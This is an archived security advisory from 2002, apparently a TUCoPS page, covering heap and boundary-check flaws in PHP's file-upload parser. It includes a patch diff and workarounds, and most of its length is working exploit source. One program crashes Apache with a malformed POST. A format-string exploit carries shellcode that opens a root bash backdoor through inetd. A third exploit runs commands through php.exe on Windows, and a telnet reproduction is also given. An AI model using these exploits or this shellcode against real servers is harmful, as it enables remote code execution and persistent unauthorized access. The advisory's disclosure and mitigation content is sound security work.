TUCoPS :: Web :: PHP :: web5146.htm

Multiple Remote Vulnerabilites within PHP's fileupload code
28th Feb 2002 [SBWID-5146]
COMMAND

	Multiple Remote Vulnerabilites within PHP's fileupload code

SYSTEMS AFFECTED

	 all versions up to v4.1.1

	 Update (22 July 2002) PHP v4.2.0, 4.2.1

PROBLEM

	Stefan    Esser    reported    in    e-matters     Security     Advisory
	[http://www.e-matters.de] that multiple vunerabilities  has  been  found
	within  PHP's  fileupload  code  :  there  are  several  flaws  in   the
	php_mime_split function that could be used by  an  attacker  to  execute
	arbitrary code.
	

	The following is a list of bugs they found:
	

	

	   PHP 3.10-3.18

	   

	      - broken boundary check    (hard to exploit)

	      - arbitrary heap overflow  (easy exploitable)

	   

	   PHP 4.0.1-4.0.3pl1

	   

	      - broken boundary check    (hard to exploit)

	      - heap off by one          (easy exploitable)

	      

	   PHP 4.0.2-4.0.5

	   

	      - 2 broken boundary checks (one very easy and one hard to exploit)

	      

	   PHP 4.0.6-4.0.7RC2

	   

	      - broken boundary check    (very easy to exploit)

	      

	   PHP 4.0.7RC3-4.1.1

	   

	      - broken boundary check    (hard to exploit)

	

	

	

	

	Most of these vulnerabilities are exploitable only on linux or  solaris.
	But the heap off by one is only exploitable on x86 architecture and  the
	arbitrary  heap  overflow  in  PHP3  is  exploitable  on  most  OS   and
	architectures. (This includes *BSD)
	

	

	If you wish to understand, see diff below (regarding PHP 4.1.x)
	

	

	Index: rfc1867.c

	===================================================================

	RCS file: /repository/php4/main/rfc1867.c,v

	retrieving revision 1.71.2.1

	retrieving revision 1.71.2.2

	diff -u -r1.71.2.1 -r1.71.2.2

	--- rfc1867.c	24 Sep 2001 17:48:22 -0000	1.71.2.1

	+++ rfc1867.c	21 Feb 2002 18:46:45 -0000	1.71.2.2

	@@ -15,7 +15,7 @@

	    | Authors: Rasmus Lerdorf <rasmus@php.net>                             |

	    +----------------------------------------------------------------------+

	  */

	-/* $Id: rfc1867.c,v 1.71.2.1 2001/09/24 17:48:22 andi Exp $ */

	+/* $Id: rfc1867.c,v 1.71.2.2 2002/02/21 18:46:45 sesser Exp $ */

	 

	 #include <stdio.h>

	 #include "php.h"

	@@ -195,7 +195,13 @@

	 						SAFE_RETURN;

	 					}

	 				}

	+				rem -= loc - ptr;

	+				if (rem <= 0) {

	+					php_error(E_WARNING, "File Upload Mime headers garbled ptr: [%c%c%c%c%c]", *ptr, *(ptr + 1), *(ptr + 2), *(ptr + 3), *(ptr + 4));

	+					SAFE_RETURN;

	+				}

	 				name = strstr(ptr, " name=");

	+				ptr = loc;

	 				if (name && name < loc) {

	 					name += 6;

	 					if ( *name == '\"' ) { 

	

	

	

	 Update (6 march 2002)

	 =====================

	

	Gabriel A. Maggiotti posted a proof of concept exploit for  Apache/1.3.x
	+ php_4.0.6.
	

	This code exploit multipart/form-data POST requests bug. This code  only
	crash apache deamon, not open any shell or execute code  in  the  remote
	server. PHP supports multipart/form-data POST requests (as  described  in
	RFC1867) known as POST fileuploads. Unfourtunately there are  several  flaws
	in the php_mime_split function that could be  used  by  an  attacker  to
	execute arbi- trary code. I dont know if the vuln I exploit is  a  known
	vuln or not.
	

	 Example:

	 -------

	

	

	<quote>

	[gabi@pluto logs]$ ./apache_php host 80 hi.php

	[gabi@pluto logs]$ cat /www/logs/error_log

	

	[Sun Mar  3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation

	 fault (11)

	

	[gabi@pluto logs]$ 

	</quote>

	

	Greets:

	------

	A special greets to Fernando Oubi#a and Sebastian Brocher, good friend  of

	mime.

	 

	A very   special  greets for a  good   friend  and an excellent Security 

	Consultant Alex Hernandez!!!

	

	*/

	

	#include <stdio.h>

	#include <string.h>

	#include <stdlib.h>

	#include <errno.h>

	#include <string.h>

	#include <netdb.h>

	#include <sys/types.h>

	#include <netinet/in.h>

	#include <sys/socket.h>

	#include <sys/wait.h>

	#include <unistd.h>

	#include <fcntl.h>

	

	#define MAX	1000

	#define PORT	80

	

	char *str_replace(char *rep, char *orig, char *string)

	{

	int len=strlen(orig);

	char buf[MAX]="";

	char *pt=strstr(string,orig);

	

	strncpy(buf,string, pt-string );

	strcat(buf,rep);

	strcat(buf,pt+strlen(orig));

	strcpy(string,buf);

	return string;

	}

	

	int main(int argc,char *argv[MAX])

	{

		int sockfd;

		int numbytes;

		int port;

		char *ptr;

	

		char POST_REQUEST[MAX] =

			"POST ##file HTTP/1.0\n"

			"Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"

			"Connection: Keep-Alive\nContent-type: multipart/for"

			"m-data; boundary=---------------------------1354088"

			"10612827886801697150081\nContent-Length: 567\n\n---"

			"--------------------------1354088106128278868016971"

			"50081\nContent-Disposition: form-data; name=\"\x8\"";

	

		struct hostent *he;

		struct sockaddr_in their_addr;

	

		if(argc!=4)

		{

			fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]);

			exit(1);

		}

	

		port=atoi(argv[2]);

		ptr=str_replace(argv[3],"##file",POST_REQUEST);

		//ptr=POST_REQUEST;

	

		if((he=gethostbyname(argv[1]))==NULL)

		{

			perror("gethostbyname");

			exit(1);

		}

	

	

		if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {

			perror("socket"); exit(1);

		}

	

		their_addr.sin_family=AF_INET;

		their_addr.sin_port=htons(port);

		their_addr.sin_addr=*((struct in_addr*)he->h_addr);

		bzero(&(their_addr.sin_zero),8);

	

		if( connect(sockfd,(struct sockaddr*)&their_addr,\

			 sizeof(struct sockaddr))==-1)

		{

			perror("connect");

			exit(1);

		}

	

		

		if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)

		{

			perror("send");

			exit(0);

		}

	

		close(sockfd);

	

	return 0;

	}

	

	

	-Also-
	

	Count August Anton Wilhelm Neithardt von Gneisenau exploit :
	

	

	/* PHP 3.0.16/4.0.2 remote format overflow exploit. 

	 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau 

	 * Usage: phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 

	 */ 

	

	/* 

	 * We just printf the shellcode and stuff and nc it to the target 

	 */ 

	#include <sys/types.h> 

	#include <unistd.h> 

	#include <stdio.h> 

	#include <stdlib.h> 

	#include <string.h> 

	

	// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at 

	// the end of the shellcode will be removed as the shellcode is probably 

	// strcatted into the buffer. so do it again in the shellcode. 

	/* 

	 * This shellcode is for Linux/x86. 

	 * This shellcode spawns a shell and runs the command 

	 * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf 

	 */ 

	char shellcode[] = { 

	0xeb,0x41,                                              

	0x5e,                                              

	0x31,0xc0,                                              

	0x31,0xdb,                                              

	0xb0,0xa0,                                              

	0x89,0x34,0x06,                         

	0x8d,0x4e,0x07,                         

	0x88,0x19,                                              

	0x41,                                                           

	0x41,                                                           

	0xb0,0xa4,                                              

	0x89,0x0c,0x06,                         

	0x8d,0x4e,0x0b,                         

	0x88,0x19,                                      

	0x41,                                                           

	0xb0,0xa8,                                              

	0x89,0x0c,0x06,                 

	0x8d,0x4e,0x7f,                         

	0x88,0x19,                                              

	0x31,0xd2,                                              

	0xb0,0xac,                                              

	0x89,0x14,0x06,                         

	0x89,0xf3,                                              

	0x89,0xf1,                                              

	0xb0,0xa0,                                      

	0x01,0xc1,                                              

	0xb0,0x0b,                                              

	0xcd,0x80,                                              

	0x31,0xc0,                                      

	0xb0,0x01,                                      

	0x31,0xdb,                                              

	0xcd,0x80,                                              

	0xe8,0xba,0xff,0xff,0xff,  

	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 

	0x2d,0x63,0xff,                         /* the string "-c" */ 

	0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 

	0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 

	0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 

	0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 

	0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 

	0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 

	0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 

	0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 

	0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 

	0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, 

	}; 

	

	#define NOP 0x90 

	

	

	

	/* 

	 * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type 

	 * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces 

	 * for padding the addresses we embed in our attack buffer on word boundary 

	 */ 

	#define PHP3_WARNING 68 

	#define BUF_LEN 1024 

	

	struct system_type { 

	        char *name; 

	        unsigned int nop; 

	        char *shellcode; 

	        int     shellcode_len; 

	        int     offset;                 /* the number of pops we need to get to our own data*/ 

	        int     already_written;        /* number of bytes written by printf by the time we reach the our embedded data */

	

	        unsigned int    eip_address; /* address where shellcode_address must be put */ 

	        unsigned int    shellcode_address; /* address of shellcode in memory */ 

	}; 

	

	struct system_type systems[] = { 

	                { 

	                        "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)", 

	                        0x90, 

	                        shellcode, 

	                        270,    /* not exact but we got lots of space ;) */ 

	                        27, 

	                        0x152, 

	                        0xbfff9c30, 

	                        0xbfff962c, 

	                }, 

	                // somebody find these and fill it in please. should be 

	                // straightforward. 

	                { 

	                        "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)", 

	                        (unsigned int)NULL, 

	                        NULL, 

	                        (int)NULL, 

	                        (int)NULL, 

	                        (int)NULL, 

	                        (unsigned int)NULL, 

	                        (unsigned int)NULL, 

	                }, 

	                { 

	                        NULL, 

	                        (unsigned int)NULL, 

	                        NULL, 

	                        (int)NULL, 

	                        (int)NULL, 

	                        (int)NULL, 

	                        (unsigned int)NULL, 

	                        (unsigned int)NULL, 

	                }, 

	}; 

	

	void    usage (void); 

	void    parse_url (char *, char *); 

	void    prepare_attack_buffer (char *, struct system_type *, char *); 

	int     calculate_precision (unsigned int, int); 

	

	int 

	main (int argc, char *argv[]) 

	{ 

	        char    attack_buffer[2000];    // we construct the shellcode and stuff here 

	                                                                                // the target is 1024 bytes long 

	        struct system_type *sysptr; 

	        char  *url;                             // i hope these things dont get bigger than this 

	        char  target[2048];                     // target will contain only the FQDN 

	        unsigned int eip_address = 0, shellcode_address = 0; 

	        int     ctr = 0; 

	        int     nop_count; 

	        char  *walk; 

	        int     arg;                                                    

	

	        // at least expect a system type and url from the command line 

	        if (argc < 3) 

	                usage (); 

	

	        // parse arguments 

	        while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){ 

	                switch (arg){ 

	                        case 'h': 

	                                                sscanf (optarg, "%x", &shellcode_address); 

	                                                break; 

	                        case 'e': 

	                                                sscanf (optarg, "%x", &eip_address); 

	                                                break; 

	                        case 's':       

	                                                sysptr = &systems[atoi (optarg)]; 

	                                                break; 

	                        case 'u': 

	                                                url = optarg; 

	                                                parse_url (url, target); 

	                                                break; 

	                        case '?': 

	                        default :       

	                                                usage (); 

	                } 

	        } 

	

	        if (eip_address) 

	                sysptr->eip_address = eip_address; 

	        if (shellcode_address) 

	                sysptr->shellcode_address = shellcode_address; 

	        prepare_attack_buffer (attack_buffer, sysptr, url); 

	

	        // as of now write it out to stdout. later write it to a socket 

	        write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer)); 

	} 

	

	void 

	prepare_attack_buffer (char *attack_buffer, struct system_type *system, 

	                                                                char *url) 

	{ 

	        int     dest_buffer_written;            /* we keep track of how much bytes will be written in the destination buffer */

	

	        int     ctr; 

	        char    *address; 

	        char    buf[25];                                                // temp buffer for %xd%n%xd%n%xd%n%xd%n 

	                                                                                        // where x is precision 

	        int     p1,p2,p3,p4; 

	        int     nop_count; 

	

	        bzero (attack_buffer, 2000); 

	        sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data   ", url);

	

	        // mark strlen here. whatever we write after here appears in the buffer 

	        dest_buffer_written = strlen (attack_buffer); 

	

	        strcat (attack_buffer, "\x11\x11\x11\x11"); 

	        address = (char *)&system->eip_address; 

	        strncat (attack_buffer, address, 4); 

	        strcat (attack_buffer, "\x11\x11\x11\x11"); 

	        system->eip_address++; 

	        address = (char *)&system->eip_address; 

	        strncat (attack_buffer, address, 4); 

	        strcat (attack_buffer, "\x11\x11\x11\x11"); 

	        system->eip_address++; 

	        address = (char *)&system->eip_address; 

	        strncat (attack_buffer, address, 4); 

	        strcat (attack_buffer, "\x11\x11\x11\x11"); 

	        system->eip_address++; 

	        address = (char *)&system->eip_address; 

	        strncat (attack_buffer, address, 4); 

	

	        /* 

	         * we need to add %x corresponding to the number of pops we need to reach 

	         * our embedded addresses we defined above 

	         */ 

	        for (; system->offset; system->offset--) 

	                strcat (attack_buffer, "%x "); 

	

	        p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written); 

	        p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written); 

	        p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written); 

	        p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written); 

	        sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4); 

	        strcat (attack_buffer, buf); 

	

	        ctr = strlen (attack_buffer); 

	        dest_buffer_written = ctr - dest_buffer_written; 

	        dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack

	

	        attack_buffer += ctr; 

	        nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len; 

	        memset (attack_buffer, NOP, nop_count); 

	        /* 

	         * Add our shellcode at last 

	         */ 

	        attack_buffer += nop_count; 

	        strcat (attack_buffer, shellcode); 

	        strcat (attack_buffer, "\n"); 

	        strcat (attack_buffer, "Content-Length: 1337\n\n"); 

	} 

	

	void 

	usage (void) 

	{ 

	        int     ctr; 

	

	        fprintf (stderr, "                                 Apache/PHP xploit\n"); 

	        fprintf (stderr, "        Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n"); 

	        fprintf (stderr, "                                 for the r00tcrew\n"); 

	        fprintf (stderr, "                                All rights reserved\n"); 

	        fprintf (stderr, "\nUsage:\n"); 

	        fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); 

	        fprintf (stderr, "url: the complete url including FQDN and script on the server\n"); 

	        fprintf (stderr, "      www.victim.com/info.php3\n"); 

	        fprintf (stderr, "available systypes:\n"); 

	

	        for (ctr = 0; systems[ctr].name; ctr++) 

	                fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name); 

	        fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");

	

	        fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n"); 

	        fprintf (stderr, "\n"); 

	        exit (1); 

	} 

	

	void 

	parse_url (char *url, char *target) 

	{ 

	        char *ptr; 

	

	        strcpy (target, url); 

	        if (!(ptr = index (target, '/'))){ 

	                fprintf (stderr, "invalid url. specify the script name on the target server too\n"); 

	                exit (1); 

	        } 

	        *ptr = '\0'; 

	} 

	

	/* 

	 * addr_byte contains the byte we need to write out. for example: 2c in 

	 * 0xbfff962c, then 96, ff and bf. 

	 */ 

	int 

	calculate_precision (unsigned int addr_byte, int already_written_init) 

	{ 

	        static int already_written = 0; 

	        int     tmp; 

	

	        if (!already_written) 

	                already_written = already_written_init; 

	

	        while (addr_byte < already_written) 

	                addr_byte += 0x100; 

	

	        tmp = addr_byte - already_written; 

	        already_written = addr_byte; 

	        return tmp; 

	} 

	

	

	 Update (06 April 2002)

	 ======

	

	Another exploit by NTFX [http://www.spymodem.com] :
	 

	

	/* concept.c By NTFX <ntx@spymodem.com>

	 * Some code borrowed from an old iis exploit.

	 *

	 * Vulnerable systems:

	 * PHP version 4.1.1 under Windows

	 * PHP version 4.0.4 under Windows

	 *

	 * (c) Legion2000 Security Research , code may be distributed

	 * credit is greatfully given if so..

	 * Greets: opt1k, I-L, EazyMoney, SpyModem

	 *

	 * Does this work? you tell me.

	 * http://www.legion2000.net    http://www.spymodem.com

	 */

	

	#include <netdb.h>

	#include <netinet/in.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <stdio.h>

	#include <stdlib.h>

	#include <string.h>

	#include <errno.h>

	

	int main(int argc, char **argv){

	    char buffer[1024];

	    char buf[500];

	    char rcvbuf[8192];

	    int i, sock, result;

	    struct sockaddr_in  name;

	    struct hostent      *hostinfo;

	    if (argc < 2){

	    printf ("To use type %s <host> /dir/file.executable\n", argv[0]);

	    printf ("Author: NTFX NTX@SpyModem.Com\n");

	    printf ("Legion2000 Security Research (c)");

	    printf ("\n\n");

	    exit(0);

	    }

	    for (;;)

	        {

	        printf ("to exit type erm.. exit!");

	        printf ("\n\n");

	        printf ("[enter@cmd /here]#");

	        gets(buf);

	        if (strstr(buf, "exit")) exit(0);

	        i=0;

	        while (buf[i] != '\0'){

	            if(buf[i] == 32) buf[i] = 43;

	            i++;

	            }

	        hostinfo=gethostbyname(argv[1]);        name.sin_family=AF_INET; name.sin_port=htons(80);

	        name.sin_addr=*(struct in_addr *)hostinfo->h_addr;

	        sock=socket(AF_INET, SOCK_STREAM, 0);

	        result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));

	

	        if (sock < 0){

	        strcpy(buffer,"GET /php/php.exe?");

	        strcat(buffer,buf);

	        strcat(buffer, " HTTP/1.0\n\n");

	        send(sock, buffer, sizeof(buffer), 0);

	        recv(sock, rcvbuf, sizeof(rcvbuf), 0);

	        printf ("%s", rcvbuf);

	        close(sock);

	        }

	};

	};

	

	

	

	 Update (22 July 2002)

	 ======

	

	Php  Group  updates,  thanks  to  Stefan  Esser  of  e-matters  Security
	[http://www.e-matters.de] :
	

	PHP contains code for intelligently parsing the  headers  of  HTTP  POST
	requests. The code is used to differentiate between variables and  files
	sent by the user agent in a "multipart/form-data" request.  This  parser
	has insufficient input checking, leading to the vulnerability.
	

	The vulnerability is exploitable  by  anyone  who  can  send  HTTP  POST
	requests to an affected web server. Both local and  remote  users,  even
	from behind firewalls, may be able to gain privileged access.
	

	

	 Update (25 July 2002)

	 ======

	

	Joe testa provided sample session for above bug :
	

	The following is  an  example  on  how  to  reproduce  the  segmentation
	violation in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:
	

	[jdog@wonderland logs]$ telnet 192.168.x.x 80

	Trying 192.168.x.x...

	Connected to 192.168.x.x.

	Escape character is '^]'.

	POST /chad_owns_me.php HTTP/1.0

	Content-type: multipart/form-data; boundary=---------------------------123

	Content-length: 129

	

	- -----------------------------123

	Content-Disposition: filename

	

	http://www.rapid7.com/

	- -----------------------------123--

	

	Connection closed by foreign host.

	[jdog@wonderland logs]$ cat error_log 

	[Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit signal Segmentation fault (11)

	[jdog@wonderland logs]$ 

	

	

	Note that a path to an existing PHP file must  be  used,  otherwise  the
	PHP interpreter will not be invoked.

SOLUTION

	 Workarounds

	 ===========

	

	If you are running PHP 4.0.3 or above one way to workaround  these  bugs
	is to disable the fileupload support within your  php.ini  (file_uploads
	= Off) If you are running php as module keep  in  mind  to  restart  the
	webserver. Anyway you should better install  the  fixed  or  a  properly
	patched version to be safe.
	

	-Also-
	

	If the PHP applications on an affected web server do not  rely  on  HTTP
	POST input from user agents, it is often possible to deny POST  requests
	on the web server.
	

	In the Apache web  server,  for  example,  this  is  possible  with  the
	following code included in the main configuration file  or  a  top-level
	.htaccess file:
	

	<Limit POST>

	   Order deny,allow

	   Deny from all

	</Limit>

	

	Note that an existing  configuration  and/or  .htaccess  file  may  have
	parameters contradicting the example given above.
	

	

	 Patch

	 =====

	

	Get PHP 4.2.2 [http://www.php.net]

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH